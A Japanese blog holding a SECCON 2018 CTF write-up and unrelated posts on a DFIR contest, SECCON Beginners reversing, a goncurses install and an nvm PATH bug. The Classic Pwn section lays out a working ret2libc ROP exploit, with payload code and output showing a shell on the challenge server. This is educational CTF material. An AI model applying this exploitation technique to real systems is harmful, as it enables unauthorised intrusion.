SECCON 2018 Online CTF Writeup
開催期間(JST)
10/27 PM3:00 ~ 10/28 PM3:00
結果
・チーム名:wabisabi
・得点:1201 pt
・順位:80/653
解いた問題
・Classic Pwn(Pwn 121pt)
・Runme(Reversing 102pt)
・Special Device File(Reversing 231pt)
・Special Instructions(Reversing 262pt)
・QRChecker(QR 222pt)
取り組んだが解けなかった問題
・History(Forensics 145pt)
・block(Reversing 362pt)
はじめに
今年も参加していました.もう3年くらいは出ているような?気がする.なかなか決勝が遠いです.今回はチームの初期メンバーで参加していましたが,去年より1ptしか得点変わらないのに順位が90位ぐらい上になっているのでやっぱり全体的に難化していたっぽい?各問題の点数はsolve数によって減っていくやつでした.以下,競技中に解けた問題のWriteupです.
Writeup
Classic Pwn(Pwn 121pt)
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped $ checksec classic_aa9e979fd5c597526ef30c003bffee474b314e22 [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64bitでnot stripped.NXビットが有効なのでシェルコード実行とかは難しそう.
$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22 Classic Pwnable Challenge Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Have a nice pwn!! zsh: segmentation fault (core dumped) ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Local Bufferに書き込めるが,Buffer Over Flowがある.gdbのpattcでパターンを作り,offsetを調べる.
gdb-peda$ patto AAdAA3AA AAdAA3AA found at offset: 64
RBPの値("AAdAA3AA")へのoffsetが64だったので,これにプラス8バイトした値がreturn addressへのoffsetになる.
RIPを奪えたので,libcのベースアドレスをリークしたい.
既にアドレス解決されている適当なGOT領域を,mainで使われていたputsなどでリークしていく.この時の戻り値はmainにしておく.以下のようなpayloadになる.(popretガジェットのアドレスはgdb-pedaの中で ropgadget
コマンドで調べた)
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) # return address
リークしたアドレスからoffsetを引いてlibcのベースアドレスを求める.ついでにsystemへのアドレスも求めておく.以下のようになる.
leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
そしたら最後にもう1度stack bofさせてRIPをsystem_addrに移し,シェルを起動させる.
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
以下が,完成したexploit.
$ python exploit.py [+] Opening connection to classic.pwn.seccon.jp on port 17354: Done [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled libc_base: 0x7f183f621000 system_addr: 0x7f183f666390 [*] Switching to interactive mode Have a nice pwn!! $ ls classic flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
Runme(Reversing 102pt)
力技で解いた...
実行すると以下のような画面が出る.
IDA Demoで見てみる.
赤く囲ったところの値が変化しているだけの同じような関数がいくつもあるので,その値を1つずつ抽出していった.
抽出した値を元に以下のようなスクリプトを書いておわり.
$ python solve.py C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}
Special Device File(Reversing 231pt)
$ file runme_8a10b7425cea81a043db0fd352c82a370a2d3373 runme_8a10b7425cea81a043db0fd352c82a370a2d3373: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped
問題文には坂井さんのcross-gccへのリンクとか,ここら辺見てみたいなのが書いてあったけど,結局自分で調べたりビルドしたものなどを使った.具体的には,qemu-aarch64を使って,gdbでリモートデバッグしながら解析した.(あとは aarch64-linux-gnu-objdump
で逆アセンブルしたりとか)
$ qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu runme_8a10b7425cea81a043db0fd352c82a370a2d3373
こうすると1234番ポートで待ち受けてくれるので,gdbから接続するとリモートデバッグできる.gdbはgdb-multiarchを使った.
$ gdb-multiarch -q runme_8a10b7425cea81a043db0fd352c82a370a2d3373 Reading symbols from runme_8a10b7425cea81a043db0fd352c82a370a2d3373...(no debugging symbols found)...done. gdb-peda$ set sysroot /usr/aarch64-linux-gnu/ gdb-peda$ target remote :1234 Remote debugging using :1234 Warning: not running or target is remote 0x0000000000001400 in _start () gdb-peda$ b main
あとはステップ実行していくだけ.どうやらSIGSEGVするようなので原因を調べると,スタックに使用しているアドレスが良くないっぽいことがわかったので,スタックのアドレスをspレジスタへ入れていた_startを見てみる.
gdb-peda$ disas Dump of assembler code for function _start: => 0x0000000000001400 <+0>: ldr x0, 0x1500 <_start> 0x0000000000001404 <+4>: mov sp, x0 0x0000000000001408 <+8>: bl 0x16a4 <main>
0x1500にあるバイナリを見てみると変な値になっているので,vmmapとかでメモリマップを調べてwritableな領域(0x1a60とかにした)にバイナリを書き換えた.(あとでわかったけど,これはファイル中の最後ら辺,exitする辺りのコードだったっぽくて正しく終了しなかったけど,解析への影響は特になかった)
再度実行してみると, /dev/xorshift64
というファイルに固定値を書き込もうとしていることがわかった.だけど,うまくシステムコールが呼べていないっぽくて,逆アセンブル結果を眺めていたらシステムコールを呼ぶところがhlt命令になっていて,終了してしまう理由がわかった.それとシステムコール番号もおかしかったので,調べながら修正した.
修正前
修正後
ここまでの修正で,再度解析してみたところ以下のようなことが分かった.
・ /dev/xorshift64
に 0x139408dcbbf7a44
を書き込んでいて,その後それを読み出している( /dev/xorshift64
は実行者権限で作っておいた)
・flagとrandvalという領域が存在し,randvalから取り出した1バイトと 0x139408dcbbf7a44
から取り出した1バイトをXORして,それとflagの1バイトをXORしている
・flagは32文字
だが,これでフラグが出力されるはずだと思って実行してみても 7NPblTJ.smFB
という謎の文字列が出るだけ.これをsubmitしてみても通らないし,ここでものすごく時間を溶かした.
xorshift64というファイル名に注目してみた. どうやら乱数生成の方法にxorshiftという方法があり,ビットごとにxorshift32とかxorshift64などが存在するらしい.
また, 0x139408dcbbf7a44
という値を10進数にした 88172645463325252
を検索してみたところxorshiftのページがヒットした.どうやらこれはシード値っぽい.
ということで,xorshift64で生成した乱数32個の下位1バイトを復号処理に使えばいけるのではと考えて,以下のスクリプトを書いてみたところ正しく復号できた.
python solve.py SECCON{UseTheSpecialDeviceFile}
Special Instructions(Reversing 262pt)
終了1時間前に解けた.
Special Device Fileと同じような問題.ただし,fileコマンドではアーキテクチャが表示されず謎アーキ状態だったが,readelfを使ったところMoxieと出た.readelf優秀.
$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped $ readelf -h runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be ELF ヘッダ: マジック: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 クラス: ELF32 データ: 2 の補数、ビッグエンディアン バージョン: 1 (current) OS/ABI: UNIX - System V ABI バージョン: 0 型: EXEC (実行可能ファイル) マシン: Moxie バージョン: 0x1 エントリポイントアドレス: 0x1400 プログラムの開始ヘッダ: 52 (バイト) セクションヘッダ始点: 1936 (バイト) フラグ: 0x0 このヘッダのサイズ: 52 (バイト) プログラムヘッダサイズ: 32 (バイト) プログラムヘッダ数: 3 セクションヘッダ: 40 (バイト) セクションヘッダサイズ: 9 セクションヘッダ文字列表索引: 8
Moxieなんて聞いたこともなかったのでなんやねんそれと思って調べていて,どうにか解析できる環境が構築できないか探っていた.結局以下のリポジトリのものをビルドして,中に入っていたMoxieに使えるgdbを使って解析した.
とにかく時間がなくて急いでいて,中にqemu-aarch64みたいな感じのqemu-moxieみたいなの入っていないかなと見てみてもなかったので(もしかしたらあったかも),リモートデバッグは諦めて静的解析のみで解いた.
$ moxie-none-moxiebox-gdb -q runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
mainの逆アセンブル結果.
0x000015a2 <+0>: push $sp, $r6 0x000015a4 <+2>: dec $sp, 0x18 0x000015a6 <+4>: ldi.l $r0, 0x92d68ca2 0x000015ac <+10>: jsra 0x154a <set_random_seed> 0x000015b2 <+16>: ldi.l $r6, 0x1480 0x000015b8 <+22>: ldi.l $r0, 0x1 0x000015be <+28>: ldi.l $r1, 0x1654 0x000015c4 <+34>: jsr $r6 0x000015c6 <+36>: ldi.l $r0, 0x1 0x000015cc <+42>: ldi.l $r1, 0x1680 0x000015d2 <+48>: jsr $r6 0x000015d4 <+50>: ldi.l $r0, 0x1 0x000015da <+56>: ldi.l $r1, 0x169c 0x000015e0 <+62>: jsr $r6 0x000015e2 <+64>: ldi.l $r0, 0x1 0x000015e8 <+70>: ldi.l $r1, 0x16ac 0x000015ee <+76>: jsr $r6 0x000015f0 <+78>: ldi.l $r0, 0x1 0x000015f6 <+84>: ldi.l $r1, 0x16c4 0x000015fc <+90>: jsr $r6 0x000015fe <+92>: ldi.l $r0, 0x1 0x00001604 <+98>: ldi.l $r1, 0x16e0 0x0000160a <+104>: jsr $r6 0x0000160c <+106>: ldi.l $r0, 0x1800 0x00001612 <+112>: ldi.l $r1, 0x1820 0x00001618 <+118>: jsra 0x1552 <decode> 0x0000161e <+124>: mov $r1, $r0 0x00001620 <+126>: ldi.l $r0, 0x1 0x00001626 <+132>: jsr $r6 0x00001628 <+134>: ldi.l $r0, 0x1 0x0000162e <+140>: ldi.l $r1, 0x167c 0x00001634 <+146>: jsr $r6 0x00001636 <+148>: xor $r0, $r0 0x00001638 <+150>: jsra 0x144a <exit>
直感でSpecial Device Fileと同じ形式だなと判断して,set_random_seedに渡しているっぽい 0x92d68ca2
を調べたところ,xorshift32のシード値に使われていたので,これはSpecial Device Fileと同じように復号すればいけそうと考えて,同じようにflagとrandvalを抜き出してきてスクリプトを書いた.
$ python solve.py SECCON{MakeSpecialInstructions}
QRChecker(QR 222pt)
終了30分前に解いたやつ.他の問題からの休憩や,ビルド待ちの時にサラっと見てはいたけど,解けてはいなかった.
与えられたURLにアクセスすると以下のようになっていて,pageはQRコードを判定するページ.srcは判定コードのソースコードが見れる.
ソースコードは以下.
#!/usr/bin/env python3 import sys, io, cgi, os from PIL import Image import zbarlight print("Content-Type: text/html") print("") codes = set() sizes = [500, 250, 100, 50] print('<html><body>') print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">') print('<input type="file" name="uploadFile"/>') print('<input type="submit" value="submit"/>') print('</form>') print('<pre>') try: form = cgi.FieldStorage() data = form["uploadFile"].file.read(1024 * 256) image = Image.open(io.BytesIO(data)) for sz in sizes: image = image.resize((sz, sz)) result = zbarlight.scan_codes('qrcode', image) if result == None: break if 1 < len(result): break codes.add(result[0]) for c in sorted(list(codes)): print(c.decode()) if 1 < len(codes): print("SECCON{" + open("flag").read().rstrip() + "}") except: pass print('</pre>') print('</body></html>')
リサイズしてzbarlight.scan_codesで読み取って,何も読み取れない(None)であればbreak,2つ以上読み取れてもbreakする.どうすればフラグが出るかというと,codesの中身が2つ以上あればいい.つまり,リサイズしていく課程で読み取る値に変化があればいいっぽい.
そこで,少し前に話題になったQRコードの脆弱性で,読み取る文字が確率で変わるQRコードがいいのでは,と思った.確か神戸大学の先生が発表していたやつ.
しかし,ここにあるQRコードをスクショして使ってみたところ上手くいかない.もう少し誤認識する確率をあげてみる.このQRコードの仕組みは右側のデータコード語部分と左側のエラー訂正コード語の部分で格納されている文字が違っていて,かつ1ヵ所を灰色っぽい曖昧な色で塗っておくと可能,みたいな感じだったと思うので1ドット灰色っぽくなっているところをWindowsのペイントでもう少し濃くしてみた.(著作権の関係がありそうなので画像は無しで)
出来上がったQRコードを投げてみると無事通った.
取り組んだが解けなかった問題
History(Forensics 145pt)
最後までなんのファイルなのかわからなかった...
WriteupみてみるとUSN Journalとか言っていて,この前のDFIRチャレンジで先輩に教えてもらったやつやん...となった.
block(Reversing 362pt)
apkが配布される.CEDEC CHALLENGEで培った知見が役に立つのではと思ってやってみたけどダメだった.
il2cppは使われていなかったのでAssembly-CSharp.dllをdnspyでデコンパイルしてフラグが回転しているのでrotationのところを回転止めて横にずらすなりすればフラグが見えそうだなと思ったけど,書き換えるのが大変そうだった.nopにして回転止めるのは簡単だったけどそこからは手詰まり.
おわりに
毎年順位は上がっているんだけど,今年はようやく100位以内には入れて,しかも80位ということで大躍進できたんじゃないかなと思う.開始前はPwnとか全然準備してないしあかん...と思ってたけどRevが少し解けたので良かった.Pwnは解かれていた他の2つを解いてみようとしたけど,どちらもヒープ臭がしたので速攻で諦めた.Pwn精進していきたい感がある...
Revのいろんなアーキテクチャ問題は面白かった.xorshiftで生成される乱数の下位1ビットを使って復号するということに気づくまで時間がかかったけど,2つの知らないアーキテクチャのアセンブリを読むのは割と楽しかった.
知っている日本チーム数えてみたけど国内決勝は行けなそうなので来年こそは...
「TMCIT × 大和セキュリティ勉強会DFIR忍者チャレンジ」に参加した
はじめに
金銭面的に参加しようか迷っていたのですが,参加してきました.今バイト先でフォレンジック業務を担当していたりすることもあって,めちゃ勉強になることが多く,とても最高な2日間だったので簡単に書いておこうと思います.帰りの夜行バスがめちゃくちゃ辛かったです.
DFIR忍者チャレンジとは
初の東京開催となった大和セキュリティさんのイベントであり,フォレンジックコンテストです.10月7日~8日の2日間に渡って開催されました.元々は4月に神戸で開催されたものだとか?当日やることとしては,主催者の田中ザックさんからフォレンジック講義があり,そのあとコンテストの説明後,競技がスタートします.競技はチーム戦なのですが,1チーム4人から6人ぐらいで構成されていて,20チームあったので参加人数は80人以上いたと思います.2日目のお昼頃に報告書を提出し,最終的にTOP8班だけが発表して優勝チームが決定されます.
コンテストの感想
オンラインコンテスト化?される予定らしくて競技の詳しい内容は書けないので,書けることだけ.
前日ぐらいに,元大学の先輩が参加されることがわかったので,当日は合流して一緒のチームとして参加させて頂きました.チームメンバーには監視業務をやられている方や高専生などがいて,計4人のチームでした.会場を見て驚いたのが,某インターンで見かけた企業の人やセキュリティ系のイベントで見かける人だったり,とにかく強そうな方ばかりでしたので,恐る恐る参加していました.
コンテストが始まってからはHDDイメージに関して自分ができることをやっていたり,たまに隣にいた先輩の手伝いをしたりしていました.パケットキャプチャデータとメモリダンプに関しては残りの2人が作業してくれていて,やはり先輩含め社会人のお二人の作業がとても速くてすごかったです.パケットに関しては,見覚えがあるパケットデータを見つけることができ,少し貢献できたかなと思います.それぞれがかき集めた証拠などを元に時系列を作成しながらなにが起きたのかを把握していく様はとてもチームでフォレンジックをしている感を感じました.
結果としてはTOP8に入ることができましたが,やはり他のチームのレベルが高かったです.他のチームの発表では,自分たちがわからなかった部分の詳細などを聞くことができ,どのチームもレベルの高い発表をしていて聞き入ってしまいました.
その後はザックさんから解説があったり表彰式があったり,最後には写真撮影をしてコンテストは終了しました.
初日では情報量がめちゃくちゃ多いザックさんのフォレンジック講義を受けることができたり,2日目では川崎隆哉さんからWindows10の新しいアーティファクトを見つけた話を聞くことができたり,
コンテストは問題の構成や質がとても高かったり,本当に濃密な2日間でした.
最後になりますが,運営・関係者の皆様,本当に楽しいフォレンジックコンテストを開催していただき,ありがとうございました!
(TOP8はBランク中忍になれるらしいです)
SECCON Beginners CTF 2018 Activation & crackme
はじめに
ちょうど帰省していて,少しだけ時間があったのでぼっちで参加してみました.チーム名は,テレビでFoxチャンネルのリスナーって海外ドラマが流れていたのと,途中でANAのCMが流れていたので"foxana"です.適当です.
本当の初心者しか参加してはいけないのかと思ってたら割といろんな人が参加していたので,メンバーに声かけていつものチームで参加すればよかったかなぁと思いました.
スコアは1014ptで72位でした.Writeupはいろんな人が書いてくれると思うので,僕はReversingのWarmup以外の2問を簡単に書いておきます.
Activation
問題文
この問題の FLAG は ctf4b{アクティベーションコード} です。
$ file Activation.exe Activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net assemblyなのでdnspyでデコンパイルしてみます.
僕の環境だとdriveinfoのところでflagがtrueになってくれなくて(CDドライブがないから?),そもそもアクティベーションコードを入力するところまでいかなかったので,赤くなっている部分にブレークポイントをしかけて無理やりflagをtrueにしました.
重要なのは選択しているif文のところです.ここで,入力したアクティベーションコードが正しいかのチェックをしています. 実行してここでステップインすることで,Cという関数の中でなにをやっているのかを見ていきます.
AESで暗号化しているっぽいので,適当な場所で止めてIVとKeyの値を控えます.
また,これを E2AA8B78-798D-49BF-B9E7-13D334768E86.F()
と比較しているのでこれも何が入っているのか調べます.
あとは復号するスクリプトを書くだけです. E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5
が E2AA8B78-798D-49BF-B9E7-13D334768E86.F()
の中身です.
デコンパイルしたC#コードをそのまま使ったので,実行環境がない人は
とか使うといいかもです.
以上より,フラグは ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}
です.
crackme
問題文
バイナリを解析して、入力値を求めてください。
$ file crackme crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped
コマンドライン引数としてフラグを与えて,それが正しいかどうか検証しています.
$ ./crackme usage: ./crackme <FLAG>% $ ./crackme hoge Try again...%
objdumpで逆アセンブルしてみると,mainで2つの関数を読んでいることがわかります.一つは
400978: e8 09 fe ff ff call 400786 <exit@plt+0x2c6>
で,もう1つは
40098f: e8 42 fc ff ff call 4005d6 <exit@plt+0x116>
です.
あとは,具体的な処理を追う為にgdbで実行していきます.
この2つの関数は入力値検証関数で,それぞれ前の16バイト,後ろの16バイトを検証しています. 一つ目の関数を見てみると,検証するための値として,以下の16バイトの値をスタックに置いています.
0032| 0x7fffffffc8f0 --> 0x3f7b64683e8c9e9c 0040| 0x7fffffffc8f8 --> 0x641e73557f0a6350
入力値に対して特定の処理を施した結果がこれらと等しいかどうかを1バイトずつ検証していきます.入力値に対してどのような処理をするのかというと,以下のような処理を4回繰り返すことで16バイトの値それぞれに対して検証しています.これ↓は1周目の値です.meと名前を付けましたが,この変数はスタック上に保存されている値で,これを変化させながら計算処理に使用しています.
# first 入力値の1バイト目とme(0xff)とのxor 0x9cとの比較 # second me(0xff)と0x15のxor -> me(0xea) 入力値の2バイト目とme(0xea)とのxor 0x9eとの比較 # third me(0xea)と0x20のor -> me(0xea) 入力値の3バイト目とme(0xea)とのxor 0x8cとの比較 # fourth me(0xea)と0xfのand -> me(0xa) 入力値の4バイト目とme(0xa)とのxor 0x3eとの比較
どんな処理をしているのかがわかったので,あとは2つ目の検証関数も見ていくだけですが,2つ目の検証関数の処理は少々複雑(他の人のwriteupを見る限り大したことやってない…?なにを見ていたのか…)で,z3で書くのが辛かったので,angrを使ってみました.
以下がangrを使って書いたスクリプトです.
コマンドライン引数で渡すタイプのangrの書き方がわからなくて,hamaさんのブログを参考にしました.
(参考というかほぼ丸パクリですね...)
重要なのはfindの部分とavoidの部分で,findはmain関数にて”正しい値か正しくない値かで最後の出力を分岐しているところ”があるので,このアドレスを入れています.avoidに書いた9つの値は,1つは”mainにある間違った値が入力されたときに通る箇所”,もう4つは”検証関数1にて,間違った値が入力されたときに通るアドレス”,残りの4つは”検証関数2にて,間違った値が入力されたときに通る箇所”です.
これを実行するとフラグが出てきます.
$ python solve_angr.py WARNING | 2018-05-27 14:39:50,238 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2018-05-27 14:39:51,556 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Deprecation warning: Use eval(expr, cast_to=str) instead of any_str 'ctf4b{D0_y0u_l!k3_x86_4ssembly?}'
よってフラグは, ctf4b{D0_y0u_l!k3_x86_4ssembly?}
です.
検証関数1だけの処理を書いて諦めたz3バージョンも載せておきます.このスクリプト,なんとフラグが半分だけ求まります.
rthornton128/goncursesがgo getで入らない時
はじめに
GWも終わりそうですね.
今回, rthornton128/goncurses
を使ってみようとしたらgo getで躓いたのでいろいろ書いておきます.環境はUbuntu16.04 LTSです.
rthornton128/goncurses
ncursesというTUIを作成するための便利ライブラリがありますが,それをGo言語でも使えるようなものです.
で,こちらをインストールしようと go get
したのですが
$ go get -u github.com/rthornton128/goncurses # pkg-config --cflags ncurses form menu ncurses ncurses panel Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package form was not found in the pkg-config search path. Perhaps you should add the directory containing `form.pc' to the PKG_CONFIG_PATH environment variable No package 'form' found Package menu was not found in the pkg-config search path. Perhaps you should add the directory containing `menu.pc' to the PKG_CONFIG_PATH environment variable No package 'menu' found Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package panel was not found in the pkg-config search path. Perhaps you should add the directory containing `panel.pc' to the PKG_CONFIG_PATH environment variable No package 'panel' found pkg-config: exit status 1
このようなエラーが出てしまいインストールできませんでした.思い当たる節としては,そもそもncurses入れてなかったので,まずはncursesをインストールしていきます.
ちょうど,同じ環境で試してる人がいましたがgccのバージョンの問題で最新版が入らないと書いてあります.僕のgccはこの5.31よりは新しい5.4だったので入るかもしれませんでしたが,確実に入りそうなncurses-5.7を入れることにしました.
$ wget http://ftp.gnu.org/gnu/ncurses/ncurses-5.7.tar.gz $ tar -xvzf ncurses-5.7.tar.gz $ cd ncurses-5.7 $ ./configure $ make $ sudo make install
これでncursesは入りましたが go get
で出ていたエラーは全て,pcファイルを PKG_CONFIG_PATH
に追加するべきだ,みたいなやつです. PKG_CONFIG_PATH
ってなんだと思い調べてみると, /usr/lib/pkgconfig
または /usr/local/lib/pkgconfig
を通せばいいっぽいです.
自分の場合は /usr/lib/
に pkgconfig
があったのでこれを通すようにシェルの設定ファイルに export PKG_CONFIG_PATH=/usr/lib/pkgconfig
を追加しました.
そして拡張子がpcのファイルを PKG_CONFIG_PATH
に追加する必要がありますが,これらがどこにあるのかわからずググると以下のgistが見つかりました.
これを参考に,上記でmakeしたディレクトリを /usr/local/opt/
へコピーし,/usr/local/opt/ncurses-5.7
という風にしました.あとは,上記のgistにあるpcファイルの prefix
を /usr/local/opt/ncurses-5.7
に, Description
のバージョンを6.0から5.7にして4つのpcファイルを PKG_CONFIG_PATH
に配置してから go get
したところ上手く入りました.
libncurses5-dev
ここまでいろいろと書きましたが,これパッケージマネージャーから入らんの?と思い調べてみると, libncurses5-dev
というパッケージが見つかったので,これを apt-get install
してからパスをいい感じに設定してもよかったかもしれません.
Ubuntu – パッケージのファイル一覧: libncurses5-dev/xenial/amd64
おまけ
NVM_DIRを正しく設定していなかったせいでパスが破壊されていた話
はじめに
特に書くことがなく4ヶ月ぶりのブログです.
最近golangを始めて, export PATH=$GOPATH/bin:$PATH
とかでパスを通そうとしたらなぜかパスが通らないという問題が起きました.いろいろ探っていくとどうやら nvm.sh
をsourceしている場所より後ろに配置すると通るという謎現象が起きていて,さらに言うと $GOPATH/bin
のbinをhogeとか別の名前にすると通るという意味が分からないことになっていたので, nvm.sh
を少し読んでみたら原因がわかったという話です.というかブログのタイトル通りなので,あとはダラダラと書いていきます.
nvm.sh
nvmはNode Version Managerの略でNode.jsのバージョン管理ツールであり,使っている人も多いのではないでしょうか.僕はNode.jsはほぼ書いたことがないのですが,たまに必要になったりすることもあるので一応使っています.
そんなnvmですが,シェルの設定ファイルとかに nvm.sh
を実行するように書いて使用します.この nvm.sh
の中にnvmコマンドの本体も書かれています.
nvm() { if [ $# -lt 1 ]; then nvm --help return fi local DEFAULT_IFS DEFAULT_IFS=" $(nvm_echo t | command tr t \\t) " if [ "${IFS}" != "${DEFAULT_IFS}" ]; then IFS="${DEFAULT_IFS}" nvm "$@" return $? fi ...........................
起きていた現象について
まず, nvm.sh
をsourceしている直前で $GOPATH/bin
のパスを通してから echo $PATH
で正しく反映されていることを確認しました.その後, nvm.sh
の直後にも echo $PATH
を置いて,パスの頭に追加した $GOPATH/bin
がそっくり消えていることも確認しました.これは冒頭でも書いたようにbinを別名にすると通ります.
そこで, nvm.sh
を読むことにしました.この時僕が使っていた nvm.sh
は少し古いものでしたが(ver 0.33.1),最新版(ver 0.33.9)を持ってきてもパスが通らないことに変わりはありませんでした.以下,まずは古い nvm.sh(0.33.1)
について書きます.
nvm.sh
では nvm_process_parameters
という関数を実行していてその中でさらに nvm_auto
を実行しています.この nvm_auto
の中にあった以下の行でパスは更新されていました.
....... VERSION="$(nvm_resolve_local_alias default 2>/dev/null || nvm_echo)" if [ -n "$VERSION" ]; then nvm use --silent "$VERSION" >/dev/null .......
VERSION
には v8.11.1
などが入ってきます.次に,nvmのuseというサブコマンドを見てみます.nvmに渡されたサブコマンドはcase文によって分岐していて,useも同様です.
"use" ) local PROVIDED_VERSION local NVM_USE_SILENT NVM_USE_SILENT=0 local NVM_DELETE_PREFIX NVM_DELETE_PREFIX=0 .......
このuseの中に以下のような行を見つけました.
....... # Strip other version from PATH PATH="$(nvm_strip_path "$PATH" "/bin")" .......
見るからに原因がこれっぽいです....
nvm_strip_path
を見てみると,
nvm_strip_path() { if [ -z "${NVM_DIR-}" ]; then nvm_err '${NVM_DIR} not set!' return 1 fi nvm_echo "${1-}" | command sed \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*:##g" \ -e "s#:${NVM_DIR}/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*:##g" \ -e "s#:${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g" }
このように渡された引数を sed を使って置換しています.第1引数には現在のパスを,第2引数には"/bin"という文字列を渡していて,冒頭で説明した追加しているのに消えているパスというのは /home/yyy/.go/bin
です.これは先頭に追加していたので,追加後は /home/yyy/.go/bin:/home/yyy/...
という風になるはずです.
また, NVM_DIR
はどんな値になっているのか調べてみると NVM_DIR=/home/yyy
になっていました.
ということでsedで置換している1行目, ${NVM_DIR}/
は"/home/yyy/"になり, [^/]
は否定の文字クラスであり"/"以外全てを表し,直後の*である0回以上の繰り返しによって".go"が当てはまり,その後の ${2-}
が"/bin,最後の":"も合わせて `/home/yyy/.go/bin:" が当てはまってしまうことになります.
よって,sedのこの1行目でパスが破壊されていたということになります.
NVM_DIRについて
謎の現象が起きていた原因はもちろん, NVM_DIR
を正しく設定していなかったことです.なにを見て追加したかは忘れましたが,とにかく設定ファイルに NVM_DIR
は書いてありませんでした....
それでも NVM_DIR
が設定されていたのは nvm.sh
の以下の箇所が原因でした.
# Auto detect the NVM_DIR when not set if [ -z "${NVM_DIR-}" ]; then # shellcheck disable=SC2128 if [ -n "${BASH_SOURCE-}" ]; then # shellcheck disable=SC2169 NVM_SCRIPT_SOURCE="${BASH_SOURCE[0]}" fi # shellcheck disable=SC1001 NVM_DIR="$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)" export NVM_DIR fi unset NVM_SCRIPT_SOURCE 2> /dev/null
NVM_CD_FLAGS
は "-q" になっていて, nvm_cd
というのは以下のようになっています.
nvm_cd() { # shellcheck disable=SC1001,SC2164 \cd "$@" }
また, "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")"
は nvm.sh
があるディレクトリになるので,僕の場合 "$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)"
は以下のような文字列になるはずです.
cd -q /home/yyy/.nvm > /dev/null && \pwd
.nvm
の絶対パスを取得して,この結果を NVM_DIR
に格納していると思うのですが, -q
オプションをつけるのとつけないので比較してみると, -q
を付けた場合は格納される値がホームディレクトリの絶対パスになります.そもそも -q
オプションなんて cd にはないと思うのですが,よくわかりません.
NVM_CD_FLAGS
は以下の箇所で定義されています.
# Make zsh glob matching behave same as bash # This fixes the "zsh: no matches found" errors if [ -z "${NVM_CD_FLAGS-}" ]; then export NVM_CD_FLAGS='' fi if nvm_has "unsetopt"; then unsetopt nomatch 2>/dev/null NVM_CD_FLAGS="-q" fi
このコメントを見る限り, NVM_CD_FLAGS
は必要なものだと思います.これを除いて NVM_DIR="$(nvm_cd "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)"
とすると, NVM_DIR
には.nvmの絶対パスが入ってくれるのですが....
最新版のnvm.sh
現在(2018/04/20)の最新版は 0.33.9 です.この nvm.sh
では上記の箇所が以下のように変わっていました.
